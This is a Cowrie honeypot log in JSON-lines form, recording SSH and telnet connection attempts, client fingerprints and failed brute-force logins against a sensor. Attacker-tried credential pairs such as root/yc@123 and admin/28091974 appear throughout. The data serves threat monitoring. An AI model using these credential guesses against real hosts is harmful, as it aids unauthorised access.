{"eventid":"cowrie.login.failed","username":"test","password":"123","message":"login attempt [test/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:23:16.616581Z","src_ip":"193.46.255.86","session":"bd1995634a94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"1234","message":"login attempt [test/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:23:17.747303Z","src_ip":"193.46.255.86","session":"bd1995634a94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:23:18.881390Z","src_ip":"193.46.255.86","session":"bd1995634a94","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36348,"dst_ip":"10.17.0.5","dst_port":23,"session":"a8c04cef122b","protocol":"telnet","message":"New connection: 192.119.13.58:36348 (10.17.0.5:23) [session: a8c04cef122b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:23:20.022995Z"}
{"eventid":"cowrie.session.closed","duration":40.64239001274109,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:23:22.547070Z","src_ip":"192.119.13.58","session":"05eb0cc70eea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47690,"dst_ip":"10.17.0.5","dst_port":23,"session":"24579a770b77","protocol":"telnet","message":"New connection: 192.119.13.58:47690 (10.17.0.5:23) [session: 24579a770b77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:23:23.956102Z"}
{"eventid":"cowrie.session.closed","duration":33.74590516090393,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:23:25.981099Z","src_ip":"192.119.13.58","session":"cf6d313aa5c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.0.214.136","src_port":25419,"dst_ip":"159.203.135.109","dst_port":22,"session":"7cbb0588adc2","protocol":"ssh","message":"New connection: 181.0.214.136:25419 (159.203.135.109:22) [session: 7cbb0588adc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:23:31.335293Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:23:31.341337Z","src_ip":"181.0.214.136","session":"7cbb0588adc2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:23:31.506564Z","src_ip":"181.0.214.136","session":"7cbb0588adc2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"$BLANKPASS","message":"login attempt [root/$BLANKPASS] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:23:32.197513Z","src_ip":"181.0.214.136","session":"7cbb0588adc2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.97.164","src_port":50214,"dst_ip":"159.203.135.109","dst_port":22,"session":"848e6d33d6e1","protocol":"ssh","message":"New connection: 43.156.97.164:50214 (159.203.135.109:22) [session: 848e6d33d6e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:23:32.429649Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:23:32.437664Z","src_ip":"43.156.97.164","session":"848e6d33d6e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:23:32.678092Z","src_ip":"43.156.97.164","session":"848e6d33d6e1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:23:33.359815Z","src_ip":"181.0.214.136","session":"7cbb0588adc2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.20401096343994,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:23:33.488303Z","src_ip":"192.119.13.58","session":"ef0c308d0b59","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"yc@123","message":"login attempt [root/yc@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:23:33.663579Z","src_ip":"43.156.97.164","session":"848e6d33d6e1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":18213,"dst_ip":"10.17.0.5","dst_port":22,"session":"e163b1147413","protocol":"ssh","message":"New connection: 2.57.121.112:18213 (10.17.0.5:22) [session: e163b1147413]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:23:34.421037Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:23:34.429289Z","src_ip":"2.57.121.112","session":"e163b1147413","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:23:34.529231Z","src_ip":"2.57.121.112","session":"e163b1147413","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:23:34.908093Z","src_ip":"43.156.97.164","session":"848e6d33d6e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"280974","message":"login attempt [admin/280974] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:23:35.011762Z","src_ip":"2.57.121.112","session":"e163b1147413","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.76022672653198,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:23:35.238274Z","src_ip":"192.119.13.58","session":"eb526d4e092c","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"28091974","message":"login attempt [admin/28091974] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:23:36.121624Z","src_ip":"2.57.121.112","session":"e163b1147413","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"28091972","message":"login attempt [admin/28091972] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:23:37.225160Z","src_ip":"2.57.121.112","session":"e163b1147413","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"280891","message":"login attempt [admin/280891] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:23:38.328958Z","src_ip":"2.57.121.112","session":"e163b1147413","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"280887","message":"login attempt [admin/280887] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:23:39.432775Z","src_ip":"2.57.121.112","session":"e163b1147413","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":55.51304841041565,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:23:39.926097Z","src_ip":"192.119.13.58","session":"09bf1acb3677","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:23:40.536885Z","src_ip":"2.57.121.112","session":"e163b1147413","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.219.184.142","src_port":34416,"dst_ip":"10.17.0.5","dst_port":22,"session":"82b927ef8438","protocol":"ssh","message":"New connection: 186.219.184.142:34416 (10.17.0.5:22) [session: 82b927ef8438]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:23:40.734656Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:23:40.742347Z","src_ip":"186.219.184.142","session":"82b927ef8438","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:23:40.889382Z","src_ip":"186.219.184.142","session":"82b927ef8438","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa147258","message":"login attempt [root/Aa147258] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:23:41.500170Z","src_ip":"186.219.184.142","session":"82b927ef8438","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:23:42.647579Z","src_ip":"186.219.184.142","session":"82b927ef8438","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":36144,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b1adf7dcf42","protocol":"ssh","message":"New connection: 37.233.85.71:36144 (10.17.0.5:22) [session: 4b1adf7dcf42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:23:43.244960Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:23:43.250478Z","src_ip":"37.233.85.71","session":"4b1adf7dcf42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:23:43.355359Z","src_ip":"37.233.85.71","session":"4b1adf7dcf42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"303030","message":"login attempt [root/303030] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:23:43.669834Z","src_ip":"37.233.85.71","session":"4b1adf7dcf42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:23:44.780847Z","src_ip":"37.233.85.71","session":"4b1adf7dcf42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.538908004760742,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:23:55.494882Z","src_ip":"192.119.13.58","session":"24579a770b77","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":46170,"dst_ip":"159.203.135.109","dst_port":22,"session":"fb6366405303","protocol":"ssh","message":"New connection: 87.251.79.125:46170 (159.203.135.109:22) [session: fb6366405303]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:23:58.923813Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:23:58.929545Z","src_ip":"87.251.79.125","session":"fb6366405303","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:23:59.005256Z","src_ip":"87.251.79.125","session":"fb6366405303","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ericsson","message":"login attempt [root/ericsson] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:23:59.221438Z","src_ip":"87.251.79.125","session":"fb6366405303","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39220,"dst_ip":"10.17.0.5","dst_port":23,"session":"67af42bfa809","protocol":"telnet","message":"New connection: 192.119.13.58:39220 (10.17.0.5:23) [session: 67af42bfa809]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:23:59.237713Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:24:00.300603Z","src_ip":"87.251.79.125","session":"fb6366405303","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":47412,"dst_ip":"10.17.0.5","dst_port":23,"session":"a3cbdcd723b8","protocol":"telnet","message":"New connection: 192.119.13.58:47412 (10.17.0.5:23) [session: a3cbdcd723b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:24:01.986308Z"}
{"eventid":"cowrie.session.closed","duration":42.63414239883423,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:24:02.657022Z","src_ip":"192.119.13.58","session":"a8c04cef122b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56192,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a2bcb89db16","protocol":"telnet","message":"New connection: 192.119.13.58:56192 (10.17.0.5:23) [session: 2a2bcb89db16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:24:05.188745Z"}
{"eventid":"cowrie.session.connect","src_ip":"41.242.115.83","src_port":57006,"dst_ip":"159.203.135.109","dst_port":22,"session":"31e536967455","protocol":"ssh","message":"New connection: 41.242.115.83:57006 (159.203.135.109:22) [session: 31e536967455]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:24:11.902875Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:24:11.909383Z","src_ip":"41.242.115.83","session":"31e536967455","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T18:24:12.099816Z","src_ip":"41.242.115.83","session":"31e536967455","protocol":"ssh"}
